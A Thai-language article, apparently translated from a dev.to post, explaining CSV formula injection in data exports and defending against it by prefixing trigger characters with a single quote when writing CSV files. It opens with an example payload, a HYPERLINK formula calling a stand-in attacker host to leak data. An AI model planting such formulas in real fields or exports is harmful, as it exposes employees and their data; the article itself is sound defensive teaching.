CSV Injection: ปุ่ม Export ที่รันโค้ดได้

ลูกค้ากรอกชื่อของพวกเขา พวกเขาพิมพ์ =HYPERLINK("http://evil.example/leak", "click") ระบบของคุณยอมรับข้อมูลนั้น และมันดูเหมือนข้อความธรรมดา

หลายสัปดาห์ต่อมา ทีมการเงินของคุณส่งออกรายชื่อลูกค้าเป็นไฟล์ CSV เมื่อพวกเขาเปิดไฟล์ใน Excel เซลล์นั้นจะไม่ใช่ข้อความอีกต่อไป แต่มันคือสูตร (formula)

นี่คือ CSV injection หรือที่เรียกกันว่า formula injection เป็นบั๊กที่พบได้บ่อยในแผงควบคุม e-commerce ทีมส่วนใหญ่ไม่ได้ทดสอบเพื่อป้องกันเรื่องนี้

แอปพลิเคชันสเปรดชีตไม่ได้มองว่าทุกเซลล์เป็นข้อความ หากเซลล์เริ่มต้นด้วย =, +, -, หรือ @ Excel หรือ Google Sheets จะอ่านค่าดังกล่าวเป็นสูตร

สูตรสามารถทำได้มากกว่าแค่การคำนวณทางคณิตศาสตร์ มันสามารถสร้าง URL, เชื่อมต่อไปยังเครือข่าย และในบางกรณี มันสามารถสั่งรันคำสั่ง (commands) บนคอมพิวเตอร์ได้

ข้อมูลจะยังคงเป็นข้อความในฐานข้อมูลของคุณ แต่มันจะกลายเป็นสิ่งที่รันได้ทันทีที่มนุษย์เปิดไฟล์ โดยปกติแล้ว เหยื่อมักจะเป็นพนักงานที่มีระดับการเข้าถึงข้อมูลสูง

คุณมีความเสี่ยงในทุกที่ที่คุณส่งออกข้อมูลผู้ใช้:

  • การส่งออกชื่อและที่อยู่ลูกค้า
  • ตารางรายการสั่งซื้อที่ส่งออกเป็น CSV
  • ฟีดข้อมูลสินค้าจากผู้ขาย (vendors)
  • ข้อมูลที่ดึงมาจากฟอร์มติดต่อ

ผู้โจมตีไม่จำเป็นต้องมีสิทธิ์ admin พวกเขาเพียงแค่ตั้งชื่อของตัวเองให้เป็นสูตรแล้วรอเวลา

อย่าพยายามแก้ไขปัญหานี้ในขั้นตอน input validation เพราะค่านั้นถือเป็นข้อความที่ถูกต้องจนกว่าสเปรดชีตจะอ่านมัน แต่ควรใช้วิธี sanitize ข้อมูลเมื่อคุณเขียนไฟล์ CSV แทน

หากเซลล์เริ่มต้นด้วย =, +, -, @, tab หรือ carriage return ให้เพิ่มเครื่องหมาย single quote (') ไว้ข้างหน้า

ตัวอย่างตรรกะ: หากค่าเริ่มต้นด้วยตัวอักษรที่กระตุ้น (trigger character) ให้คืนค่าเป็น "'" + value

เครื่องหมาย single quote จะบอกให้สเปรดชีตปฏิบัติกับเซลล์นั้นในฐานะข้อความ โดยสเปรดชีตจะซ่อนเครื่องหมาย quote นี้จากผู้ใช้ ควรตรวจสอบทุกฟิลด์ด้วยวิธีนี้ก่อนที่จะเขียนลงในไฟล์

อย่า escape ข้อมูลในฐานข้อมูลของคุณ เพราะค่านั้นไม่มีปัญหาเมื่ออยู่ในฐานข้อมูลหรือใน HTML แต่มันจะอันตรายเมื่ออยู่ใน CSV เท่านั้น จงป้องกันที่ขอบเขตของ CSV เพื่อรักษาความสะอาดของข้อมูลในส่วนอื่นๆ

เลิกไว้ใจการส่งออกข้อมูลภายในของคุณ ผู้โจมตีมักจะเล็งเป้าหมายไปที่พนักงานของคุณผ่านไฟล์เหล่านี้

CSV injection ไม่ได้ทำให้เครื่องมือสแกนแจ้งเตือนที่น่ากลัว แต่มันซ่อนตัวอยู่ในปุ่ม export ที่คุณสร้างขึ้นเมื่อหลายปีก่อน ตรวจสอบโค้ดการส่งออก CSV ของคุณตอนนี้เลย หากคุณไม่ได้ป้องกันตัวอักษรตัวแรกของทุกเซลล์ คุณกำลังตกอยู่ในความเสี่ยง

แหล่งที่มา: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6